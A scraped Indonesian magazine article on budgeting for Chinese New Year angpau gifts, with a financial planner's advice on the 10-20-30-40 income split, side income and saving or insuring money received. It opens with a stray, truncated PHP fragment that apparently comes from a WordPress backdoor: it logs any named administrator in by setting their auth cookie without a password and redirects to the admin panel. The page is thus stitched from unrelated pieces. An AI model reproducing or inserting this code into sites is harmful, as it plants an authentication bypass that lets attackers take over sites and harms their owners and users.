user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Money
Trik Menyiasati Dana untuk Angpau 

1 Feb 2022


Foto: Envato


Angpau adalah tradisi yang ditunggu-tunggu saat perayaan imlek. Tidak hanya oleh warga keturunan Tionghoa yang merayakan Imlek, tapi juga masyarakat umum. Meski di tengah pandemi, perayaan Imlek secara besar-besaran ditiadakan, namun tradisi memberikan angpau tetap dilakukan warga Tionghoa.

Merry (35) salah satunya, ia tidak pernah terlewat memberikan angpau di saat perayaan imlek. “Bedanya sekarang angpau sudah nggak lagi dimasukin ke amplop merah, biar lebih simpel biasanya saya kirim lewat dompet digital saja,” kata Merry. 

Bagi Merry perubahan tradisi ini tidak mengurangi makna dari berbagi di hari raya Imlek. “Pakai amplop atau transfer, buat saya maknanya sama saja, intinya adalah membuat orang lain bahagia, terutama keponakan-keponakan saya yang usia remaja, mereka lebih suka ditransfer dompet digitalnya,” ungkap Merry, tersenyum. 

Tradisi orang Tionghoa mensyaratkan pemberian angpau dilakukan oleh mereka yang sudah menikah. Seperti dilansir dar Tirto.id, hal ini dilatar belakangi oleh makna dari pernikahan sebagai batas antara masa anak-anak dengan usia dewasa. Harapannya pemberian angpau dari orang yang telah menikah dapat memberikan nasib baik kepada orang yang menerima. 

Selain itu, warna merah pada angpau melambangkan kegembiraan dan harapan nasib baik bagi penerimanya. Biasanya pada bagian depan, tertulis kalimat keberuntungan “fu shan shou hai” yang berarti semoga berbahagia dan panjang usia atau “qiang shen jian ti” yang berarti semoga sehat selalu. 

Sebenarnya tradisi memberikan uang saat perayaan hari besar, lumrah dilakukan oleh masyarakat Indonesia dari berbagai latar belakang seperti saat Idul Fitri ataupun pernikahan. Pengeluaran yang sebenarnya rutin setiap tahun ini, sebaiknya memang diperhitungkan dalam pengeluaran dan disiapkan dananya jauh-jauh hari. Apalagi, jika jumlah mereka yang diberikan angpau setiap tahunnya terus bertambah. Sehingga otomatis dana yang disiapkan lebih banyak dari tahun sebelumnya. 

Bagi Anda yang setiap tahun memberikan angpau, Ivan Christian Winatha, M.M., RFP®, Branding and Communication Strategist MiPOWER by Sequis menyarankan agar mempersiapkan pos ini jauh-jauh hari agar anggaran keluarga tidak terganggu dan kebahagiaan imlek tidak berkurang. 

Lalu, bagaimana mengetahui besaran dana yang harus disimpan untuk mempersiapkan angpau? Anda dapat membuat perencanaan sederhana, yaitu menghitung jumlah anak atau kerabat yang akan diberikan angpau lalu perkirakan berapa besaran uang yang akan diberikan. Hal ini karena jumlah orang yang diberikan dan besaran nilai uang belum tentu selalu sama setiap perayaan imlek. Ditambah lagi, kondisi keuangan kita  tidak selalu sama setiap tahun.

Salah satu referensi dalam perencanaan keuangan sederhana dalam alokasi pendapatan adalah menggunakan prinsip 10% untuk kebaikan, 20% masa depan, dan 30% untuk membayar cicilan, serta 40% untuk membiayai kebutuhan. Jika Anda memberi angpau maka dana yang harus disiapkan masuk dalam kategori bujet kebaikan. 

Advertisement
“Anggaran kebaikan tidak bersifat wajib tapi sebaiknya berapapun penghasilan Anda, upayakan untuk menyisihkan pendapatan untuk pos ini. Bagi mereka yang sudah melaksanakan prinsip 10-20-30-40 akan sangat terbantu dalam mengatur pengeluaran karena dengan adanya pos ini kita dapat membantu sesama tanpa mengorbankan pos lainya. Termasuk juga saat merayakan hari besar keagamaan, seperti imlek yang identik dengan angpau, kita bisa tetap dapat merayakan dengan gembira karena sudah ada dana tersedia,” jelas Ivan.

Biasanya dana untuk angpau berasal dari pendapatan atau tabungan yang kita sisihkan. Namun, menurut Ivan, tidak selalu harus dari gaji. Saat mendapat THR, bonus tahunan, atau fee dari pekerjaan tambahan jika dikelola dengan baik alias tidak habis untuk pengeluaran rutin atau sengaja disisihkan sebagian sejak pendapatan diterima, uang tersebut dapat digunakan untuk persiapan dana angpau. 

Jika pendapatan hanya cukup untuk membiayai hidup sehari-hari namun tetap ingin memberikan angpau, Ivan menyarankan untuk memulai berinvestasilah jauh-jauh hari pada instrumen berisiko rendah agar uang yang Anda investasikan walau jumlahnya tidak banyak tapi jika rutin dilakukan dalam jangka panjang akan memberikan imbal hasil untuk disisihkan sebagai dana angpau

Cara lain adalah mencari pendapatan tambahan pekerjaan tanpa mengganggu pekerjaan utama dengan memanfaatkan keahlian  atau jaringan pertemanan, seperti menjadi fotografer, MC, graphic designer, content creator hingga menjadi agen asuransi.

Lalu, bagaimana dengan mereka yang menerima angpau? Menurut Ivan uang angpau dapat dikategorikan dalam pendapatan tidak rutin. “Gaji bulanan atau memiliki properti untuk disewakan secara rutin dapat dikategorikan dalam pendapatan tetap sedangkan bonus, fee dari freelance, THR serta angpau dimasukkan dalam pendapatan tambahan atau tidak rutin,” jelasnya. 

Mendapatkan pendapatan tambahan tentu membahagiakan karena pundi-pundi kita bertambah. Tetapi, pendapatan tidak rutin tersebut tidak bisa kita andalkan karena sifatnya temporer, tidak selalu ada, atau jumlahnya tidak tetap. Saat mendapatkan tambahan bijaklah mengatur cash flow, agar keuangan tidak bocor karena saat uang cash lebih banyak dari biasanya, ada saja yang menjadi impulsif belanja tanpa pertimbangan matang.  

Saat mendapat angpau, berapapun jumlahnya akan sangat berguna untuk memenuhi kebutuhan yang sempat tertunda tanpa perlu mengorbankan pos keuangan lainnya. Tetapi, angpau sifatnya temporer sehingga sebaiknya jangan dihabiskan saat itu juga. Pertimbangkan untuk memanfaatkannya guna persiapan masa depan, seperti menabung, investasi, dan asuransi sebab kita tidak mengetahui apakah kondisi finansial kita pada masa mendatang akan selalu stabil atau menurun, “ sebut Ivan.

Ivan juga menyinggung soal asuransi karena katanya premi asuransi akan berbeda pada setiap orang tergantung pada kondisi kesehatan dan usia jika terus ditunda maka premi akan mahal. “Saat memiliki pendapatan tambahan sangat bijaksana jika kita gunakan untuk hal preventif seperti menyiapkan asuransi kesehatan sebab biaya perawatan rumah sakit tidaklah murah dan mengandalkan pendapatan dan tabungan tidak akan cukup untuk menutup biaya rumah sakit,” tutup Ivan. (f) 


Baca Juga: 
Bagi-bagi Angpau Lebaran saat Pandemi, Pakai Dompet Digital Aja
Membelanjakan Uang untuk Orang Lain Memberikan Kebahagiaan Berlipat Ganda
10 Dosa Wanita Lajang Soal Uang



Faunda Liswijayanti


Topic

#angpau, #imlek

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?